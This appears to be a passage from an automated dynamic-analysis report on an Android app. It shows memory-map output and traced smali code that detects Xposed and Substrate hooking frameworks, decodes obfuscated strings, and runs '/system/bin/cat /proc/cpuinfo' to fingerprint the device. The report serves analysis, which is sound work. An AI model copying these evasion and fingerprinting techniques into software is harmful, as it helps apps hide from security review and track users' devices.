                              • b6b1e000-b6b21000 r--p 00048000 103:09 1481 /system/lib/libhwui.so
                              • b6b21000-b6b22000 rw-p 0004b000 103:09 1481 /system/lib/libhwui.so
                              • b6b22000-b6b67000 r-xp 00000000 103:09 1479 /system/lib/libharfbuzz_ng.so
                              • b6b67000-b6b68000 ---p 00000000 00:00 0
                              • b6b68000-b6b69000 r--p 00045000 103:09 1479 /system/lib/libharfbuzz_ng.so
                              • b6b69000-b6b6a000 rw-p 00046000 103:09 1479 /system/lib/libharfbuzz_ng.so
                              • b6b6a000-b6b6f000 r-xp 00000000 103:09 1478 /system/lib/libhardware_legacy.so
                              • b6b6f000-b6b70000 ---p 00000000 00:00 0
                              • b6b70000-b6b71000 r--p 00005000 103:09 1478 /system/lib/libhardware_legacy.so
                              • b6b71000-b6b72000 rw-p 00006000 103:09 1478 /system/lib/libhardware_legacy.so
                              • b6b72000-b6b73000 rw-p 00000000 00:00 0
                              • b6b73000-b6b74000 r-xp 00000000 103:09 1477 /system/lib/libhardware.so
                              • b6b74000-b6b75000 r--p 00000000 103:09 1477 /system/lib/libhardware.so
                              • b6b75000-b6b76000 rw-p 00001000 103:09 1477 /system/lib/libhardware.so
                              • b6b76000-b6bb8000 r-xp 00000000 103:09 1476 /system/lib/libgui.so
                              • b6bb8000-b6bc4000 r--p 00041000 103:09 1476 /system/lib/libgui.so
                              • b6bc4000-b6bc5000 rw-p 0004d000 103:09 1476 /system/lib/libgui.so
                              • b6bc5000-b6bd9000 r-xp 00000000 103:09 1459 /system/lib/libexpat.so
                              • b6bd9000-b6bdb000 r--p 00013000 103:09 1459 /system/lib/libexpat.so
                              • b6bdb000-b6bdc000 rw-p 00015000 103:09 1459 /system/lib/libexpat.so
                              • b6bdc000-b6cc9000 r-xp 00000000 103:09 1423 /system/lib/libcrypto.so
                              • b6cc9000-b6cca000 ---p 00000000 00:00 0
                              • b6cca000-b6cd9000 r--p 000ed000 103:09 1423 /system/lib/libcrypto.so
                              • b6cd9000-b6cdf000 rw-p 000fc000 103:09 1423 /system/lib/libcrypto.so
                              • b6cdf000-b6ce1000 rw-p 00000000 00:00 0
                              • b6ce1000-b6ce7000 r-xp 00000000 103:09 1410 /system/lib/libcamera_metadata.so
                              • b6ce7000-b6ce8000 r--p 00005000 103:09 1410 /system/lib/libcamera_metadata.so
                              • b6ce8000-b6ce9000 rw-p 00006000 103:09 1410 /system/lib/libcamera_metadata.so
                              • b6ce9000-b6d18000 r-xp 00000000 103:09 1409 /system/lib/libcamera_client.so
                              • b6d18000-b6d19000 ---p 00000000 00:00 0
                              • b6d19000-b6d23000 r--p 0002f000 103:09 1409 /system/lib/libcamera_client.so
                              • b6d23000-b6d24000 rw-p 00039000 103:09 1409 /system/lib/libcamera_client.so
                              • b6d24000-b6d28000 r-xp 00000000 103:09 1395 /system/lib/libaudioutils.so
                              • b6d28000-b6d29000 r--p 00003000 103:09 1395 /system/lib/libaudioutils.so
                              • b6d29000-b6d2a000 rw-p 00004000 103:09 1395 /system/lib/libaudioutils.so
                              • b6d2a000-b6d4d000 r-xp 00000000 103:09 1383 /system/lib/libandroidfw.so
                              • b6d4d000-b6d4e000 ---p 00000000 00:00 0
                              • b6d4e000-b6d4f000 r--p 00023000 103:09 1383 /system/lib/libandroidfw.so
                              • b6d4f000-b6d50000 rw-p 00024000 103:09 1383 /system/lib/libandroidfw.so
                              • b6d50000-b6d51000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b6d51000-b6d5a000 r-xp 00000000 103:09 1358 /system/lib/libGLESv2.so
                              • b6d5a000-b6d5b000 r--p 00008000 103:09 1358 /system/lib/libGLESv2.so
                              • b6d5b000-b6d5c000 rw-p 00009000 103:09 1358 /system/lib/libGLESv2.so
                              • b6d5c000-b6d61000 r-xp 00000000 103:09 1357 /system/lib/libGLESv1_CM.so
                              • b6d61000-b6d62000 r--p 00004000 103:09 1357 /system/lib/libGLESv1_CM.so
                              • b6d62000-b6d63000 rw-p 00005000 103:09 1357 /system/lib/libGLESv1_CM.so
                              • b6d63000-b6d65000 r-xp 00000000 103:09 1354 /system/lib/libETC1.so
                              • b6d65000-b6d66000 r--p 00001000 103:09 1354 /system/lib/libETC1.so
                              • b6d66000-b6d67000 rw-p 00002000 103:09 1354 /system/lib/libETC1.so
                              • b6d67000-b6d68000 rw-p 00000000 00:00 0 [anon:linker_alloc]
                              • b6d68000-b6dc5000 r-xp 00000000 103:09 1353 /system/lib/libEGL.so
                              • b6dc5000-b6dc7000 r--p 0005c000 103:09 1353 /system/lib/libEGL.so
                              • b6dc7000-b6dd0000 rw-p 0005e000 103:09 1353 /system/lib/libEGL.so
                              • b6dd0000-b6dd3000 rw-p 00000000 00:00 0
                              • b6dd3000-b6de8000 r-xp 00000000 103:09 1634 /system/lib/libutils.so
                              • b6de8000-b6de9000 ---p 00000000 00:00 0
                              • b6de9000-b6dea000 r--p 00015000 103:09 1634 /system/lib/libutils.so
                              • b6dea000-b6deb000 rw-p 00016000 103:09 1634 /system/lib/libutils.so
                              • b6deb000-b6ded000 r-xp 00000000 103:09 1616 /system/lib/libstdc++.so
                              • b6ded000-b6dee000 r--p 00001000 103:09 1616 /system/lib/libstdc++.so
                              • b6dee000-b6def000 rw-p 00002000 103:09 1616 /system/lib/libstdc++.so
                              • b6def000-b6e06000 r-xp 00000000 103:09 1506 /system/lib/libm.so
                              • b6e06000-b6e07000 r--p 00016000 103:09 1506 /system/lib/libm.so
                              • b6e07000-b6e08000 rw-p 00017000 103:09 1506 /system/lib/libm.so
                              • b6e08000-b6e0d000 r-xp 00000000 103:09 1504 /system/lib/liblog.so
                              • b6e0d000-b6e0e000 r--p 00004000 103:09 1504 /system/lib/liblog.so
                              • b6e0e000-b6e0f000 rw-p 00005000 103:09 1504 /system/lib/liblog.so
                              • b6e0f000-b6e1a000 r-xp 00000000 103:09 1425 /system/lib/libcutils.so
                              • b6e1a000-b6e1b000 r--p 0000a000 103:09 1425 /system/lib/libcutils.so
                              • b6e1b000-b6e1c000 rw-p 0000b000 103:09 1425 /system/lib/libcutils.so
                              • b6e1c000-b6e71000 r-xp 00000000 103:09 1407 /system/lib/libc.so
                              • b6e71000-b6e74000 r--p 00054000 103:09 1407 /system/lib/libc.so
                              • b6e74000-b6e77000 rw-p 00057000 103:09 1407 /system/lib/libc.so
                              • b6e77000-b6e80000 rw-p 00000000 00:00 0
                              • b6e80000-b6ea7000 r-xp 00000000 103:09 1401 /system/lib/libbinder.so
                              • b6ea7000-b6ea8000 ---p 00000000 00:00 0
                              • b6ea8000-b6eaf000 r--p 00027000 103:09 1401 /system/lib/libbinder.so
                              • b6eaf000-b6eb0000 rw-p 0002e000 103:09 1401 /system/lib/libbinder.so
                              • b6eb0000-b6f81000 r-xp 00000000 103:09 1381 /system/lib/libandroid_runtime.so
                              • b6f81000-b6f82000 ---p 00000000 00:00 0
                              • b6f82000-b6f88000 r--p 000d1000 103:09 1381 /system/lib/libandroid_runtime.so
                              • b6f88000-b6f90000 rw-p 000d7000 103:09 1381 /system/lib/libandroid_runtime.so
                              • b6f90000-b6f91000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b6f91000-b6f92000 rw-p 00000000 00:00 0 [anon:linker_alloc]
                              • b6f92000-b6f93000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b6f93000-b6f94000 r--p 00000000 00:00 0
                              • b6f94000-b6f96000 rw-p 00000000 00:00 0
                              • b6f96000-b6fa3000 r-xp 00000000 103:09 494 /system/bin/linker
                              • b6fa3000-b6fa4000 r-xp 00000000 00:00 0 [sigpage]
                              • b6fa4000-b6fa5000 r--p 0000d000 103:09 494 /system/bin/linker
                              • b6fa5000-b6fa6000 rw-p 0000e000 103:09 494 /system/bin/linker
                              • b6fa6000-b6fa7000 rw-p 00000000 00:00 0
                              • b6fa7000-b6faa000 r-xp 00000000 103:09 386 /system/bin/app_process32_original
                              • b6faa000-b6fab000 r--p 00002000 103:09 386 /system/bin/app_process32_original
                              • b6fab000-b6fac000 rw-p 00000000 00:00 0
                              • b86e4000-b889d000 rw-p 00000000 00:00 0 [heap]
                              • b889d000-b8969000 rw-p 00000000 00:00 0 [heap]
                              • be6f4000-be6f4000 ---p 00000000 00:00 0
                              • be6f4000-beef3000 rw-p 00000000 00:00 0 [stack]
                              • ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
                              • .so
                              • .jar
                              • findHookAppFile
                              • com.saurik.substrate
                              • XposedBridge.jar
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2try_start_1: new-instance v0, Ljava/util/HashSet;
                              4invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
                              5new-instance v2, Ljava/lang/StringBuilder;
                              7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              9const-string/jumbo v3, "/proc/"
                              11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              12move-result-object v2
                              14invoke-static {}, Landroid/os/Process;->myPid()I
                              15move-result v3
                              17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              18move-result-object v2
                              20const-string/jumbo v3, "/maps"
                              22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v2
                              25invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              26move-result-object v2
                              27new-instance v3, Ljava/io/BufferedReader;
                              28new-instance v4, Ljava/io/FileReader;
                              30invoke-direct {v4, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                              • Time: 11382131261
                                • This:
                                  • java.io.FileReader@3a83a029
                                • p0: /proc/19055/maps
                                • Return:
                                  • java.io.FileReader@3a83a029
                              32invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              33cond_2f:
                              34invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              • Time: 11382131269
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 12c00000-12e01000 rw-p 00000000 00:04 10588 /dev/ashmem/dalvik-main space (deleted)
                              • Time: 11382131274
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 12e01000-1316e000 rw-p 00201000 00:04 10588 /dev/ashmem/dalvik-main space (deleted)
                              • Time: 11382131279
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 1316e000-22c00000 ---p 0056e000 00:04 10588 /dev/ashmem/dalvik-main space (deleted)
                              • Time: 11382131284
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 22c00000-22c01000 rw-p 00000000 00:04 10589 /dev/ashmem/dalvik-main space (deleted)
                              • Time: 11382131289
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 22c01000-32c00000 ---p 00001000 00:04 10589 /dev/ashmem/dalvik-main space (deleted)
                              • Time: 11382131294
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 70158000-70b16000 rw-p 00000000 103:0a 140 /data/dalvik-cache/arm/system@framework@boot.art
                              • Time: 11382131300
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 70b16000-7270d000 r--p 00000000 103:09 1230 /system/framework/arm/boot.oat
                              • Time: 11382131305
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 7270d000-73e9b000 r-xp 01bf7000 103:09 1230 /system/framework/arm/boot.oat
                              • Time: 11382131312
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 73e9b000-73e9c000 rw-p 03385000 103:09 1230 /system/framework/arm/boot.oat
                              • Time: 11382131317
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 73e9c000-74771000 rw-p 00000000 00:04 10587 /dev/ashmem/dalvik-zygote space (deleted)
                              • Time: 11382131321
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 74771000-74772000 rw-p 00000000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • Time: 11382131328
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 74772000-7479a000 rw-p 00001000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • Time: 11382131333
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 7479a000-7769d000 ---p 00029000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • Time: 11382131337
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • 7769d000-77e9c000 rw-p 02f2c000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • Time: 11382131341
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • a4e73000-a4e74000 ---p 00000000 00:00 0
                              • Time: 11382131346
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • a4e74000-a4e75000 ---p 00000000 00:00 0
                              • Time: 11382131357
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • a4e75000-a4f77000 rw-p 00000000 00:00 0 [stack:20637]
                              • Time: 11382131365
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • a5630000-a5638000 rw-p 00000000 00:04 13866879 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • Time: 11382131373
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • a569f000-a56a7000 rw-p 00000000 00:04 13866721 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • Time: 11382131380
                                • This:
                                  • java.io.BufferedReader@2e23714f
                                • Return:
                                  • a57b8000-a57c0000 rw-p 00000000 00:04 13866748 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • 630 additional calls hidden ...
                              35move-result-object v2
                              36if-eqz v2, :cond_61
                              38const-string/jumbo v4, ".so"
                              40invoke-virtual {v2, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              41move-result v4
                              42if-nez v4, :cond_47
                              44const-string/jumbo v4, ".jar"
                              46invoke-virtual {v2, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              47move-result v4
                              48if-eqz v4, :cond_2f
                              49cond_47:
                              50const-string/jumbo v4, " "
                              52invoke-virtual {v2, v4}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
                              53move-result v4
                              54add-int/lit8 v4, v4, 0x1
                              56invoke-virtual {v2, v4}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                              57move-result-object v2
                              59invoke-interface {v0, v2}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              60try_end_57: goto/16 :goto_2f
                              61catch_58: move-exception v0
                              63const-string/jumbo v1, "findHookAppFile "
                              65invoke-static {v1, v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              66cond_5f: const/4 v0, 0x0
                              67goto_60: return v0
                              68cond_61:
                              69invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              71invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              72move-result-object v2
                              73cond_68:
                              74invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              75move-result v0
                              76if-eqz v0, :cond_5f
                              78invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              79move-result-object v0
                              80check-cast v0, Ljava/lang/String;
                              82const-string/jumbo v3, "com.saurik.substrate"
                              84invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              85move-result v3
                              86if-eqz v3, :cond_7f
                              87move v0, v1
                              88goto/16 :goto_60
                              89cond_7f:
                              90const-string/jumbo v3, "XposedBridge.jar"
                              92invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              93try_end_85: move-result v0
                              94if-eqz v0, :cond_68
                              95move v0, v1
                              96goto/16 :goto_60
                              APIs
                              • java.lang.StringBuilder.<init>
                              • android.os.Environment.getExternalStorageDirectory
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.Exception.printStackTrace
                              Strings
                              • /.omgtest
                              • /
                              • Debug
                              • /storage/emulated/0/.omgtest/Debug
                              • Develop
                              • /storage/emulated/0/.omgtest/Develop
                              • Release
                              • /storage/emulated/0/.omgtest/Release
                              • /storage/emulated/0/.omgtest/Log
                              • /storage/emulated/0/.omgtest/LogControl
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0}, Lcom/omg/tool/builds/ModeBuild;-><init>()V
                              3try_start_3: new-instance v0, Ljava/lang/StringBuilder;
                              5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              7invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                              8move-result-object v1
                              10invoke-virtual {v1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              11move-result-object v1
                              13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              14move-result-object v0
                              16const-string/jumbo v1, "/.omgtest"
                              18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              19move-result-object v0
                              21invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              22move-result-object v0
                              23new-instance v1, Ljava/io/File;
                              24new-instance v2, Ljava/lang/StringBuilder;
                              26invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              28invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              29move-result-object v2
                              31const-string/jumbo v3, "/"
                              33invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              34move-result-object v2
                              36const-string/jumbo v3, "Debug"
                              38invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              39move-result-object v2
                              41invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              42move-result-object v2
                              44invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382129757
                                • This:
                                  • /storage/emulated/0/.omgtest/Debug
                                • p0: /storage/emulated/0/.omgtest/Debug
                                • Return:
                                  • /storage/emulated/0/.omgtest/Debug
                              46invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              • Time: 11382129764
                                • This:
                                  • /storage/emulated/0/.omgtest/Debug
                                • Return:
                                  • false
                              47move-result v1
                              48if-eqz v1, :cond_4c
                              49iget v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              50sget v2, Lcom/omg/tool/builds/FileBuild;->Debug:I
                              51or-int/2addr v1, v2
                              52iput v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              53cond_4c: new-instance v1, Ljava/io/File;
                              54new-instance v2, Ljava/lang/StringBuilder;
                              56invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              58invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              59move-result-object v2
                              61const-string/jumbo v3, "/"
                              63invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              64move-result-object v2
                              66const-string/jumbo v3, "Develop"
                              68invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              69move-result-object v2
                              71invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              72move-result-object v2
                              74invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382129779
                                • This:
                                  • /storage/emulated/0/.omgtest/Develop
                                • p0: /storage/emulated/0/.omgtest/Develop
                                • Return:
                                  • /storage/emulated/0/.omgtest/Develop
                              76invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              • Time: 11382129788
                                • This:
                                  • /storage/emulated/0/.omgtest/Develop
                                • Return:
                                  • false
                              77move-result v1
                              78if-eqz v1, :cond_79
                              79iget v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              80sget v2, Lcom/omg/tool/builds/FileBuild;->Develop:I
                              81or-int/2addr v1, v2
                              82iput v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              83cond_79: new-instance v1, Ljava/io/File;
                              84new-instance v2, Ljava/lang/StringBuilder;
                              86invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              88invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              89move-result-object v2
                              91const-string/jumbo v3, "/"
                              93invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              94move-result-object v2
                              96const-string/jumbo v3, "Release"
                              98invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              99move-result-object v2
                              101invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              102move-result-object v2
                              104invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382129792
                                • This:
                                  • /storage/emulated/0/.omgtest/Release
                                • p0: /storage/emulated/0/.omgtest/Release
                                • Return:
                                  • /storage/emulated/0/.omgtest/Release
                              106invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              • Time: 11382129798
                                • This:
                                  • /storage/emulated/0/.omgtest/Release
                                • Return:
                                  • false
                              107move-result v1
                              108if-eqz v1, :cond_a6
                              109iget v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              110sget v2, Lcom/omg/tool/builds/FileBuild;->Release:I
                              111or-int/2addr v1, v2
                              112iput v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              113cond_a6: new-instance v1, Ljava/io/File;
                              114new-instance v2, Ljava/lang/StringBuilder;
                              116invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              118invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              119move-result-object v2
                              121const-string/jumbo v3, "/"
                              123invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              124move-result-object v2
                              126sget-object v3, Lcom/omg/tool/builds/BuildModes;->LogTag:Ljava/lang/String;
                              128invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              129move-result-object v2
                              131invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              132move-result-object v2
                              134invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382129803
                                • This:
                                  • /storage/emulated/0/.omgtest/Log
                                • p0: /storage/emulated/0/.omgtest/Log
                                • Return:
                                  • /storage/emulated/0/.omgtest/Log
                              136invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              • Time: 11382129811
                                • This:
                                  • /storage/emulated/0/.omgtest/Log
                                • Return:
                                  • false
                              137move-result v1
                              138if-eqz v1, :cond_d2
                              139iget v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              140sget v2, Lcom/omg/tool/builds/BuildModes;->Log:I
                              141or-int/2addr v1, v2
                              142iput v1, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              143cond_d2: new-instance v1, Ljava/io/File;
                              144new-instance v2, Ljava/lang/StringBuilder;
                              146invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              148invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              149move-result-object v0
                              151const-string/jumbo v2, "/"
                              153invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              154move-result-object v0
                              156sget-object v2, Lcom/omg/tool/builds/BuildModes;->LogControlTag:Ljava/lang/String;
                              158invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              159move-result-object v0
                              161invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              162move-result-object v0
                              164invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382129815
                                • This:
                                  • /storage/emulated/0/.omgtest/LogControl
                                • p0: /storage/emulated/0/.omgtest/LogControl
                                • Return:
                                  • /storage/emulated/0/.omgtest/LogControl
                              166invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              • Time: 11382129820
                                • This:
                                  • /storage/emulated/0/.omgtest/LogControl
                                • Return:
                                  • false
                              167move-result v0
                              168if-eqz v0, :cond_fe
                              169iget v0, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              170sget v1, Lcom/omg/tool/builds/BuildModes;->LogControl:I
                              171or-int/2addr v0, v1
                              172iput v0, p0, Lcom/omg/tool/builds/FileBuild;->d:I
                              173goto_fe: return-void
                              174catch_ff: move-exception v0
                              176invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              177goto/16 :goto_fe
                              Cross References
                              APIs
                              • java.lang.ProcessBuilder.<init>
                              • java.lang.ProcessBuilder.start
                              • java.lang.StringBuffer.<init>
                              • java.lang.Process.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.StringBuffer.append
                              • java.io.BufferedReader.close
                              • java.lang.StringBuffer.toString
                              • java.lang.String.toLowerCase
                              Strings
                              • /system/bin/cat
                              • cCwmLCs6MnA9NjFwPD4r
                              • /proc/cpuinfo
                              • cC8tMDxwPC8qNjE5MA==
                              • utf-8
                              • BogoMIPS: 38.40
                              • CPU architecture: 7
                              • CPU implementer: 0x41
                              • CPU part: 0xd03
                              • CPU revision: 0
                              • CPU variant: 0x0
                              • Device: osprey
                              • Features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32
                              • Hardware: Qualcomm Technologies, Inc MSM8916
                              • MSM Hardware: MSM8916
                              • Processor: ARMv7 Processor rev 0 (v7l)
                              • Radio: 4
                              • Revision: 82b0
                              • Serial: e1c22d0d00000000
                              • model name: ARMv7 Processor rev 0 (v7l)
                              • processor: 0
                              • processor: 1
                              • processor: 2
                              • processor: 3
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, ""
                              3const/4 v1, 0x2
                              4try_start_3: new-array v1, v1, [Ljava/lang/String;
                              5const/4 v2, 0x0
                              7const-string v3, "cCwmLCs6MnA9NjFwPD4r"
                              9invoke-static {v3}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983930
                                • This:
                                  • /system/bin/cat
                                • p0: [C@2a0fc233
                                • p0: /system/bin/cat
                                • Return:
                                  • /system/bin/cat
                              • Time: 11381983936
                                • p0: cCwmLCs6MnA9NjFwPD4r
                                • Return:
                                  • /system/bin/cat
                              10move-result-object v3
                              11aput-object v3, v1, v2
                              12const/4 v2, 0x1
                              14const-string v3, "cC8tMDxwPC8qNjE5MA=="
                              16invoke-static {v3}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983940
                                • This:
                                  • /proc/cpuinfo
                                • p0: [C@9ace9ee
                                • p0: /proc/cpuinfo
                                • Return:
                                  • /proc/cpuinfo
                              • Time: 11381983945
                                • p0: cC8tMDxwPC8qNjE5MA==
                                • Return:
                                  • /proc/cpuinfo
                              17move-result-object v3
                              18aput-object v3, v1, v2
                              19new-instance v2, Ljava/lang/ProcessBuilder;
                              21invoke-direct {v2, v1}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                              • Time: 11381983949
                                • p0: [Ljava.lang.String;@351d351c
                                • p0.Arrays.toString: [/system/bin/cat, /proc/cpuinfo]
                                • Return:
                                  • java.lang.ProcessBuilder@33465525
                              23invoke-virtual {v2}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                              • Time: 11381983972
                                • This:
                                  • java.lang.ProcessBuilder@33465525
                                • Return:
                                  • Process[pid=19109]
                              24move-result-object v1
